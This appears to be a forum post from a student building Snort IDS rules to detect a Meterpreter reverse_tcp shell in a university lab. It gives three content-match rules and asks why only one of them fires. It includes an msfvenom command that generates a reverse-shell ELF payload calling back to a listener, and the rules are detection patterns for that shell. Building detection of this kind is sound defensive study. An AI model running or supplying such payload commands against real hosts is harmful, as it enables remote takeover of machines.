I'm working on a university project and I'm trying to identify a reverse shell attack with Snort IDS. For the attack I used Meterpreter/reverse_tcp and analyzed the packets via Wireshark for traces to use in Snort rules. I managed to find some strings that might be useful for identifying an attack, such as: "PSSWQH", "mbedtls", "ELF"; these strings can be read clearly inside the packages, as can be seen from the photos.
I therefore wrote the following rules in Snort:
alert tcp $EXTERNAL_NET any -> $HOME_NET any (rev:1; sid:10000001;msg:"Find PSSWQH HEX string";content:"|50 53 53 57 51 48|", nocase;classtype:shellcode-detect;priority:1;)
alert tcp $EXTERNAL_NET any -> $HOME_NET any (rev:1; sid:10000003; msg:"mbedtls HEX string found with distance option"; content:"|6d 62 65 64 74|", nocase;classtype:shellcode-detect;priority:1;)
alert tcp $EXTERNAL_NET any -> $HOME_NET any (rev:1;sid:10000004;msg:"ELF string found hex";content:"|45 4c 46|";classtype:shellcode-detect;priority:1;)
The problem is that the first rule is practically always activated, this means that Snort manages to find a match between the content and the data of a packet, but the second and third, despite being structurally the same as the previous one, are never activated and Snort never raises the alert.
This is the
I generate the payload with msfvenom:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<name of my home server> LPORT=4444 -f elf -a x64 -o shell_port_4444.elf
I leave the mega link where you can download the .zip file containing the Snort configuration file and the pcap shown in the photo
To replicate the test you will need to change the LHOST and LPORT parameter based on your network and the $HOME_NET and $EXTERNAL_NET variables in the Snort configuration file.
Could anyone help me?